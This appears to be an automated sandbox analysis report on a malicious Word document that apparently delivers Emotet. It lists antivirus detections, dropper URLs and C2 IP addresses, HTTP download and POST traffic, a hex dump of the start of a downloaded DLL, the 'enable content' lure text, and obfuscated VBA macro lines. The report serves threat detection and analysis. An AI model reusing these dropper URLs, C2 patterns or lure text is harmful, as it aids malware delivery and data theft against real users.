Analysis Report Datos-2021-4-377562.doc

AV Detection:

Antivirus detection for URL or domain

Source: https://somanap.com/wp-admin/P/	Avira URL Cloud: Label: malware
Source: https://fnjbq.com/wp-includes/rlR/	Avira URL Cloud: Label: malware
Source: http://wap.zhonglisc.com/wp-includes/QryCB/	Avira URL Cloud: Label: malware
Source: http://petafilm.com/wp-admin/4m/	Avira URL Cloud: Label: malware
Source: https://sakhisuhaninarijeevika.com/wp-includes/CvGUjvE/	Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Source: petafilm.com	Virustotal: Detection: 6%			Perma Link
Source: http://petafilm.com	Virustotal: Detection: 6%			Perma Link
Source: http://zieflix.teleskopstore.com/cgi-bin/Gt3S/	Virustotal: Detection: 10%			Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\C3re5c3\Di_p3c9\O_5Z.dll

ReversingLabs: Detection: 62%

Multi AV Scanner detection for submitted file

Source: Datos-2021-4-377562.doc	Virustotal: Detection: 65%			Perma Link
Source: Datos-2021-4-377562.doc	Metadefender: Detection: 47%			Perma Link

Cryptography:

Uses Microsoft's Enhanced Cryptographic Provider

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_100011C0 Control_RunDLL,VirtualAlloc,VirtualAlloc,GetModuleHandleExA,VirtualAlloc,GetProcAddress,GetProcAddress,VirtualAlloc,GetProcAddress,LdrFindResource_U,LdrAccessResource,CryptAcquireContextW,CryptAcquireContextW,CryptAcquireContextW,CryptAcquireContextW,CryptCreateHash,CryptHashData,CryptDeriveKey,VirtualAlloc,_memmove,CryptEncrypt,		7_2_100011C0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_100021F0 CryptStringToBinaryW,CoTaskMemAlloc,CryptStringToBinaryW,StgDeserializePropVariant,CoTaskMemFree,		7_2_100021F0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_10002730 StgSerializePropVariant,CryptBinaryToStringW,CoTaskMemAlloc,CryptBinaryToStringW,CoTaskMemFree,CoTaskMemFree,		7_2_10002730
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 17_2_003075AE CryptDecodeObjectEx,		17_2_003075AE

Compliance:

Uses new MSVCR Dlls

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Binary contains paths to debug symbols

Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2084721075.0000000002B97000.00000004.00000040.sdmp
Source:	Binary string: C:\Windows\symbols\dll\System.Management.Automation.pdbCom source: powershell.exe, 00000005.00000002.2084721075.0000000002B97000.00000004.00000040.sdmp
Source:	Binary string: C:\Windows\dll\System.Management.Automation.pdbProg source: powershell.exe, 00000005.00000002.2084721075.0000000002B97000.00000004.00000040.sdmp
Source:	Binary string: E:\WindowsSDK7-Samples-master\WindowsSDK7-Samples-master\winui\shell\appshellintegration\RecipePropertyHandler\Win32\Release\RecipePropertyHandler.pdb source: powershell.exe, 00000005.00000002.2087287903.0000000003A73000.00000004.00000001.sdmp, rundll32.exe, 00000007.00000002.2088291880.000000001000D000.00000002.00020000.sdmp
Source:	Binary string: C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2084721075.0000000002B97000.00000004.00000040.sdmp
Source:	Binary string: ws\System.Management.Automation.pdbpdbion.pdbERSP source: powershell.exe, 00000005.00000002.2084721075.0000000002B97000.00000004.00000040.sdmp
Source:	Binary string: C:\Windows\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2084721075.0000000002B97000.00000004.00000040.sdmp
Source:	Binary string: mscorrc.pdb source: powershell.exe, 00000005.00000002.2084490343.00000000028D0000.00000002.00000001.sdmp

Spreading:

Contains functionality to enumerate / list files inside a directory

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 17_2_0030109C FindFirstFileW,

17_2_0030109C

Enumerates the file system

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini			Jump to behavior

Software Vulnerabilities:

Potential document exploit detected (performs DNS queries)

Source: global traffic

DNS query: name: petafilm.com

Potential document exploit detected (performs HTTP gets)

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 176.53.69.151:80

Potential document exploit detected (unknown TCP traffic)

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 176.53.69.151:80

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Source: Traffic

Snort IDS: 2404336 ET CNC Feodo Tracker Reported CnC Server TCP group 19 192.168.2.22:49166 -> 5.2.136.90:80

Potential dropper URLs found in powershell memory

Source: powershell.exe, 00000005.00000002.2086560223.0000000003742000.00000004.00000001.sdmp	String found in memory: http://petafilm.com/wp-admin/4m/
Source: powershell.exe, 00000005.00000002.2086560223.0000000003742000.00000004.00000001.sdmp	String found in memory: http://givingthanksdaily.com/qlE/VeF/
Source: powershell.exe, 00000005.00000002.2086560223.0000000003742000.00000004.00000001.sdmp	String found in memory: http://wap.zhonglisc.com/wp-includes/QryCB/
Source: powershell.exe, 00000005.00000002.2086560223.0000000003742000.00000004.00000001.sdmp	String found in memory: https://fnjbq.com/wp-includes/rlR/
Source: powershell.exe, 00000005.00000002.2086560223.0000000003742000.00000004.00000001.sdmp	String found in memory: https://sakhisuhaninarijeevika.com/wp-includes/CvGUjvE/
Source: powershell.exe, 00000005.00000002.2086560223.0000000003742000.00000004.00000001.sdmp	String found in memory: http://zieflix.teleskopstore.com/cgi-bin/Gt3S/
Source: powershell.exe, 00000005.00000002.2086560223.0000000003742000.00000004.00000001.sdmp	String found in memory: https://somanap.com/wp-admin/P/

Downloads executable code via HTTP

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKCache-Control: no-cache, must-revalidatePragma: no-cacheContent-Type: application/octet-streamExpires: Sun, 10 Jan 2021 01:32:58 GMTLast-Modified: Sun, 10 Jan 2021 01:32:58 GMTServer: Microsoft-IIS/10.0Set-Cookie: 5ffa594acfa68=1610242378; expires=Sun, 10-Jan-2021 01:33:58 GMT; Max-Age=60; path=/Content-Disposition: attachment; filename="wjj.dll"Content-Transfer-Encoding: binaryX-Powered-By: ASP.NETX-Powered-By-Plesk: PleskWinDate: Sun, 10 Jan 2021 01:32:58 GMTContent-Length: 192000Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 95 16 3a bb d1 77 54 e8 d1 77 54 e8 d1 77 54 e8 15 b2 99 e8 dc 77 54 e8 15 b2 9a e8 8e 77 54 e8 15 b2 9b e8 f8 77 54 e8 2d 00 eb e8 d0 77 54 e8 2d 00 e8 e8 d3 77 54 e8 d1 77 55 e8 53 77 54 e8 2d 00 ed e8 c0 77 54 e8 f6 b1 9b e8 d5 77 54 e8 f6 b1 9e e8 d0 77 54 e8 f6 b1 9d e8 d0 77 54 e8 d1 77 c3 e8 d0 77 54 e8 f6 b1 98 e8 d0 77 54 e8 52 69 63 68 d1 77 54 e8 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 ff a1 f3 5f 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0b 00 00 be 00 00 00 4a 02 00 00 00 00 00 dc 45 00 00 00 10 00 00 00 d0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 03 00 00 04 00 00 00 00 00 00 02 00 00 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 f0 19 01 00 cb 00 00 00 8c 0f 01 00 b4 00 00 00 00 50 01 00 20 b2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 03 00 a0 0c 00 00 10 d2 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 05 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 c8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 19 bd 00 00 00 10 00 00 00 be 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 bb 4a 00 00 00 d0 00 00 00 4c 00 00 00 c2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 9c 2d 00 00 00 20 01 00 00 10 00 00 00 0e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 20 b2 01 00 00 50 01 00 00 b4 01 00 00 1e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 48 1a 00 00 00 10 03 00 00 1c 00 00 00 d2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@

HTTP GET or POST without a user agent

Source: global traffic

HTTP traffic detected: GET /wp-admin/4m/ HTTP/1.1Host: petafilm.comConnection: Keep-Alive

IP address seen in connection with other malware

Source: Joe Sandbox View	IP Address: 176.53.69.151 176.53.69.151
Source: Joe Sandbox View	IP Address: 5.2.136.90 5.2.136.90

Internet Provider seen in connection with other malware

Source: Joe Sandbox View	ASN Name: RADORETR RADORETR
Source: Joe Sandbox View	ASN Name: RCS-RDS73-75DrStaicoviciRO RCS-RDS73-75DrStaicoviciRO

Uses a known web browser user agent for HTTP communication

Source: global traffic

HTTP traffic detected: POST /cfneym/te8xci065y4us/0q84z262f3krhb3/ HTTP/1.1DNT: 0Referer: 5.2.136.90/cfneym/te8xci065y4us/0q84z262f3krhb3/Content-Type: multipart/form-data; boundary=----------AbSKJB3lYiUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 5.2.136.90Content-Length: 6260Connection: Keep-AliveCache-Control: no-cache

Connects to IPs without corresponding DNS lookups

Source: unknown	TCP traffic detected without corresponding DNS query: 5.2.136.90
Source: unknown	TCP traffic detected without corresponding DNS query: 5.2.136.90
Source: unknown	TCP traffic detected without corresponding DNS query: 5.2.136.90
Source: unknown	TCP traffic detected without corresponding DNS query: 5.2.136.90
Source: unknown	TCP traffic detected without corresponding DNS query: 5.2.136.90
Source: unknown	TCP traffic detected without corresponding DNS query: 5.2.136.90
Source: unknown	TCP traffic detected without corresponding DNS query: 5.2.136.90
Source: unknown	TCP traffic detected without corresponding DNS query: 5.2.136.90
Source: unknown	TCP traffic detected without corresponding DNS query: 5.2.136.90
Source: unknown	TCP traffic detected without corresponding DNS query: 5.2.136.90
Source: unknown	TCP traffic detected without corresponding DNS query: 5.2.136.90
Source: unknown	TCP traffic detected without corresponding DNS query: 5.2.136.90
Source: unknown	TCP traffic detected without corresponding DNS query: 5.2.136.90
Source: unknown	TCP traffic detected without corresponding DNS query: 5.2.136.90
Source: unknown	TCP traffic detected without corresponding DNS query: 5.2.136.90
Source: unknown	TCP traffic detected without corresponding DNS query: 5.2.136.90
Source: unknown	TCP traffic detected without corresponding DNS query: 5.2.136.90
Source: unknown	TCP traffic detected without corresponding DNS query: 5.2.136.90

Contains functionality to download additional files from the internet

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 17_2_0031023A InternetReadFile,

17_2_0031023A

Downloads files

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{9B00F69D-537D-406E-B057-1B1541B1D39D}.tmp

Jump to behavior

Downloads files from webservers via HTTP

Source: global traffic

HTTP traffic detected: GET /wp-admin/4m/ HTTP/1.1Host: petafilm.comConnection: Keep-Alive

Found strings which match to known social media urls

Source: rundll32.exe, 00000006.00000002.2088631606.0000000001C10000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2085697650.0000000001D30000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2087075723.0000000001F00000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2088709624.0000000001F10000.00000002.00000001.sdmp

String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)

Performs DNS lookups

Source: unknown

DNS traffic detected: queries for: petafilm.com

Posts data to webserver

Source: unknown

HTTP traffic detected: POST /cfneym/te8xci065y4us/0q84z262f3krhb3/ HTTP/1.1DNT: 0Referer: 5.2.136.90/cfneym/te8xci065y4us/0q84z262f3krhb3/Content-Type: multipart/form-data; boundary=----------AbSKJB3lYiUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 5.2.136.90Content-Length: 6260Connection: Keep-AliveCache-Control: no-cache

Urls found in memory or binary data

Source: powershell.exe, 00000005.00000002.2086560223.0000000003742000.00000004.00000001.sdmp	String found in binary or memory: http://givingthanksdaily.com/qlE/VeF/
Source: rundll32.exe, 00000006.00000002.2088631606.0000000001C10000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2085697650.0000000001D30000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2087075723.0000000001F00000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2088709624.0000000001F10000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com
Source: rundll32.exe, 00000006.00000002.2088631606.0000000001C10000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2085697650.0000000001D30000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2087075723.0000000001F00000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2088709624.0000000001F10000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com/
Source: rundll32.exe, 00000006.00000002.2089471049.0000000001DF7000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2085893655.0000000001F17000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2087317946.00000000020E7000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XML.asp
Source: rundll32.exe, 00000006.00000002.2089471049.0000000001DF7000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2085893655.0000000001F17000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2087317946.00000000020E7000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: powershell.exe, 00000005.00000002.2087287903.0000000003A73000.00000004.00000001.sdmp	String found in binary or memory: http://petafilm.com
Source: powershell.exe, 00000005.00000002.2086560223.0000000003742000.00000004.00000001.sdmp	String found in binary or memory: http://petafilm.com/wp-admin/4m/
Source: powershell.exe, 00000005.00000002.2084122758.0000000002390000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2087134887.0000000002830000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2088878541.00000000027C0000.00000002.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: rundll32.exe, 00000006.00000002.2089471049.0000000001DF7000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2085893655.0000000001F17000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2087317946.00000000020E7000.00000002.00000001.sdmp	String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: powershell.exe, 00000005.00000002.2086560223.0000000003742000.00000004.00000001.sdmp	String found in binary or memory: http://wap.zhonglisc.com/wp-includes/QryCB/
Source: rundll32.exe, 00000006.00000002.2089471049.0000000001DF7000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2085893655.0000000001F17000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2087317946.00000000020E7000.00000002.00000001.sdmp	String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: powershell.exe, 00000005.00000002.2084122758.0000000002390000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2087134887.0000000002830000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2088878541.00000000027C0000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2091379354.0000000002870000.00000002.00000001.sdmp	String found in binary or memory: http://www.%s.comPA
Source: rundll32.exe, 00000006.00000002.2088631606.0000000001C10000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2085697650.0000000001D30000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2087075723.0000000001F00000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2088709624.0000000001F10000.00000002.00000001.sdmp	String found in binary or memory: http://www.hotmail.com/oe
Source: rundll32.exe, 00000006.00000002.2089471049.0000000001DF7000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2085893655.0000000001F17000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2087317946.00000000020E7000.00000002.00000001.sdmp	String found in binary or memory: http://www.icra.org/vocabulary/.
Source: rundll32.exe, 00000006.00000002.2088631606.0000000001C10000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2085697650.0000000001D30000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2087075723.0000000001F00000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2088709624.0000000001F10000.00000002.00000001.sdmp	String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: rundll32.exe, 00000009.00000002.2088709624.0000000001F10000.00000002.00000001.sdmp	String found in binary or memory: http://www.windows.com/pctv.
Source: powershell.exe, 00000005.00000002.2086560223.0000000003742000.00000004.00000001.sdmp	String found in binary or memory: http://zieflix.teleskopstore.com/cgi-bin/Gt3S/
Source: powershell.exe, 00000005.00000002.2086560223.0000000003742000.00000004.00000001.sdmp	String found in binary or memory: https://fnjbq.com/wp-includes/rlR/
Source: powershell.exe, 00000005.00000002.2086560223.0000000003742000.00000004.00000001.sdmp	String found in binary or memory: https://sakhisuhaninarijeevika.com/wp-includes/CvGUjvE/
Source: powershell.exe, 00000005.00000002.2086560223.0000000003742000.00000004.00000001.sdmp	String found in binary or memory: https://somanap.com/wp-admin/P/

E-Banking Fraud:

Yara detected Emotet

Source: Yara match	File source: 0000000A.00000002.2089178448.00000000001E1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2090592730.0000000000201000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2086510821.0000000000221000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2087952962.00000000001B1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2086489476.0000000000200000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2095527275.0000000000310000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2093891591.00000000001C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2085294765.0000000000150000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2090461439.00000000001C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2091736621.00000000006F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2538782658.0000000000301000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2096118747.0000000000370000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2085513682.00000000004B1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2096143412.0000000000391000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2095661096.0000000000541000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2093954550.00000000001E1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2091756161.0000000000711000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2538759730.00000000002E0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2092567080.0000000000241000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2087912939.0000000000190000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2089110018.00000000001C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2092271796.0000000000140000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 15.2.rundll32.exe.310000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.rundll32.exe.200000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.rundll32.exe.200000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.1c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.rundll32.exe.6f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.rundll32.exe.1e0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.rundll32.exe.1c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.rundll32.exe.140000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.rundll32.exe.390000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.190000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.rundll32.exe.140000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.rundll32.exe.2e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.rundll32.exe.1c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.rundll32.exe.310000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.rundll32.exe.240000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.rundll32.exe.220000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.4b0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.rundll32.exe.370000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.rundll32.exe.540000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.rundll32.exe.370000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.150000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.rundll32.exe.1c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.1b0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.190000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.rundll32.exe.710000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.1e0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.rundll32.exe.1c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.rundll32.exe.200000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.rundll32.exe.6f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.150000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.1c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.rundll32.exe.300000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.rundll32.exe.2e0000.0.unpack, type: UNPACKEDPE

System Summary:

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Source: Screenshot number: 4	Screenshot OCR: ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document. 0 Page: I of I , Word
Source: Screenshot number: 4	Screenshot OCR: DOCUMENT IS PROTECTED. I Previewing is not available for protected documents. You have to press "E
Source: Screenshot number: 4	Screenshot OCR: protected documents. You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview thi
Source: Screenshot number: 4	Screenshot OCR: ENABLE CONTENT" buttons to preview this document. 0 Page: I of I , Words:3 N@m 13 ;a 10096 G
Source: Screenshot number: 8	Screenshot OCR: ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document. K O a
Source: Screenshot number: 8	Screenshot OCR: DOCUMENT IS PROTECTED. Previewing is not available for protected documents. You have to press "ENA
Source: Screenshot number: 8	Screenshot OCR: protected documents. You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview thi
Source: Screenshot number: 8	Screenshot OCR: ENABLE CONTENT" buttons to preview this document. K O a
Source: Document image extraction number: 0	Screenshot OCR: ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document.
Source: Document image extraction number: 0	Screenshot OCR: protected documents. You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview thi
Source: Document image extraction number: 0	Screenshot OCR: ENABLE CONTENT" buttons to preview this document.
Source: Document image extraction number: 1	Screenshot OCR: ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document.
Source: Document image extraction number: 1	Screenshot OCR: DOCUMENT IS PROTECTED. Previewing is not available for protected documents. You have to press "ENA
Source: Document image extraction number: 1	Screenshot OCR: protected documents. You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview thi
Source: Document image extraction number: 1	Screenshot OCR: ENABLE CONTENT" buttons to preview this document.

Document contains an embedded VBA macro with suspicious strings

Source: Datos-2021-4-377562.doc	OLE, VBA macro line: Set VJbwzTDT = ChWZVJiB.CreateTextFile("gMEpHB:\SKWvYCA\YtZqA.fQoAE")
Source: Datos-2021-4-377562.doc	OLE, VBA macro line: Set JhiYfXc = HnBvAEH.CreateTextFile("ehLoAm:\PAVZiAGU\jVPHv.fAgoFBYmC")
Source: Datos-2021-4-377562.doc	OLE, VBA macro line: Set DRrKpoA = xxYeFGUAH.CreateTextFile("eCzvxHN:\cgVnKGAT\YcnDi.YqiJOp")
Source: Datos-2021-4-377562.doc	OLE, VBA macro line: Set AybxtEBCJ = bGMXEIA.CreateTextFile("grPSDMS:\lQkJoR\aZMUgjGC.pVvhaH")
Source: Datos-2021-4-377562.doc	OLE, VBA macro line: Set uJSEDH = dLrgANHCG.CreateTextFile("lBasV:\tFGoGJd\zBuHfBCN.AHGggII")
Source: Datos-2021-4-377562.doc	OLE, VBA macro line: Set tcYiEMeRH = RNgUODjsM.CreateTextFile("FyNFG:\ugXUH\cZIFypIHj.tRULIINC")
Source: Datos-2021-4-377562.doc	OLE, VBA macro line: Set gQxBD = PAxhJ.CreateTextFile("dFVzNBE:\EBCOlEEOJ\KlKcJKk.SVIvoAEqG")
Source: Datos-2021-4-377562.doc	OLE, VBA macro line: Set RkPWCDPC = xkJxAAC.CreateTextFile("tLvao:\aGKUA\AhQhj.BDOQSJWG")
Source: Datos-2021-4-377562.doc	OLE, VBA macro line: Set JADCpjk = rEeiBJ.CreateTextFile("VxskFWpm:\cuyOFYrFJ\SZSlaGJZi.TeBYCDZ")
Source: Datos-2021-4-377562.doc	OLE, VBA macro line: Set eUdbDAHHs = DyjPBI.CreateTextFile("OPLPBI:\fNyAExIq\jrtno.FyobBAAFE")
Source: Datos-2021-4-377562.doc	OLE, VBA macro line: Set njKwJdA = XwZxsHCGt.CreateTextFile("TNJvoD:\walkrfAE\EalrWFWTE.wDSOEJ")
Source: Datos-2021-4-377562.doc	OLE, VBA macro line: Set PmBxcD = rgBSB.CreateTextFile("PkeJHBJJH:\ODJMGCw\NefpJHvCX.XzgyeCQuA")
Source: Datos-2021-4-377562.doc	OLE, VBA macro line: Set oOysMtDG = xCaTC.CreateTextFile("Oafyb:\RPNGMA\cmOgEyD.EEpGjE")
